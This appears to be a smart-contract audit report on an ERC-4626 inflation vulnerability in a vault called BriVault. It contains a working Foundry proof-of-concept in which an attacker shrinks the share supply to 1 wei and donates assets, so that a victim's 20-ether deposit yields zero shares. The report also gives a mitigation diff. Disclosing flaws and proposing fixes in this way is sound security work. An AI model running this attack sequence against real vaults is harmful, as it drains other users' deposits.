Root + Impact
Description
-
The _convertToShares function should fairly price shares. As more assets are deposited, the total shares should increase proportionally.
-
This ideal is broken by the function's reliance on balanceOf(vault), which is the exact vulnerability an attacker exploits to conduct a critical ERC-4626 inflation attack.
The attacker deposits a tiny amount.
They redeem almost all their shares, leaving only 1 wei of totalSupply.
They transfer a large amount of assets directly to the vault. The price of a single share is now astronomically high. Any new deposit from a victim will be rounded down to 0 shares.
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
@> uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
@> uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
return assets;
}
@> shares = Math.mulDiv(assets, totalShares, balanceOfVault);
}
Risk
Likelihood:
Impact:
Proof of Concept
This is how the scenario works:
user1 (attacker) deposits, then redeems, leaving only 1 wei of shares. totalSupply is now 1.
user1 transfers ~20 ether to the vault, "poisoning" it. The price of one share is now ~20 ether.
user2 (victim) deposits 20 ether. The 1.5% fee is taken, so their stakeAsset is ~19.7 ether.
_convertToShares calculates (19.7e18 * 1) / 20e18, which rounds down to 0 shares. user2's 19.7 ether is now trapped.
user1 (the only shareholder) withdraws the entire vault balance: their ~20 ether transfer + user2's ~19.7 ether deposit. The log confirms user1 gets ~39.7 ether, and user2 gets 0.
function test_inflationAttack() public {
vm.startPrank(owner);
briVault.setCountry(countries);
vm.stopPrank();
vm.startPrank(user1);
mockToken.approve(address(briVault), 0.00024 ether);
briVault.deposit(0.00024 ether, user1);
@> briVault.redeem(briVault.balanceOf(user1) - 1, user1, user1);
@> mockToken.transfer(address(briVault), 20 ether - 0.00024 ether);
briVault.joinEvent(0);
vm.stopPrank();
vm.startPrank(user2);
mockToken.approve(address(briVault), 20 ether);
@> briVault.deposit(20 ether, user2);
briVault.joinEvent(0);
vm.stopPrank();
vm.startPrank(owner);
vm.warp(eventEndDate + 1);
briVault.setWinner(0);
vm.stopPrank();
vm.startPrank(user1);
briVault.withdraw();
uint256 bal = mockToken.balanceOf(user1);
console.log("user 1 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
vm.stopPrank();
vm.startPrank(user2);
briVault.withdraw();
bal = mockToken.balanceOf(user2);
console.log("user 2 balance (ETH):", bal / 1 ether, ".", bal % 1 ether);
}
Output Log:
[PASS] test_inflationAttack() (gas: 1843173)
Logs:
user 1 balance (ETH): 39 . 699996400000000000
user 2 balance (ETH): 0 . 0
Recommended Mitigation
the contract must track its own managed assets and ignore balanceOf.
Add a state variable uint256 internalTotalAssets
Update this variable only in deposit, cancelParticipation, and withdraw.
Use this internalTotalAssets variable in _convertToShares instead of balanceOf(vault).
contract BriVault is ERC4626, Ownable {
+ uint256 internal internalTotalAssets;
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
+ uint256 balanceOfVault = internalTotalAssets;
uint256 totalShares = totalSupply();
// ...
}
function deposit(uint256 assets, address receiver) public override returns (uint256) {
// ...
+ internalTotalAssets += stakeAsset;
// ...
}
function cancelParticipation () public {
// ...
+ internalTotalAssets -= refundAmount;
// ...
}
function withdraw() external winnerSet {
// ...
+ internalTotalAssets -= assetToWithdraw;
// ...
}
// Also need to update inherited redeem()
function _redeem(
address from,
uint256 shares,
uint256 assets,
address receiver
) internal override {
+ internalTotalAssets -= assets;
super._redeem(from, shares, assets, receiver);
}
}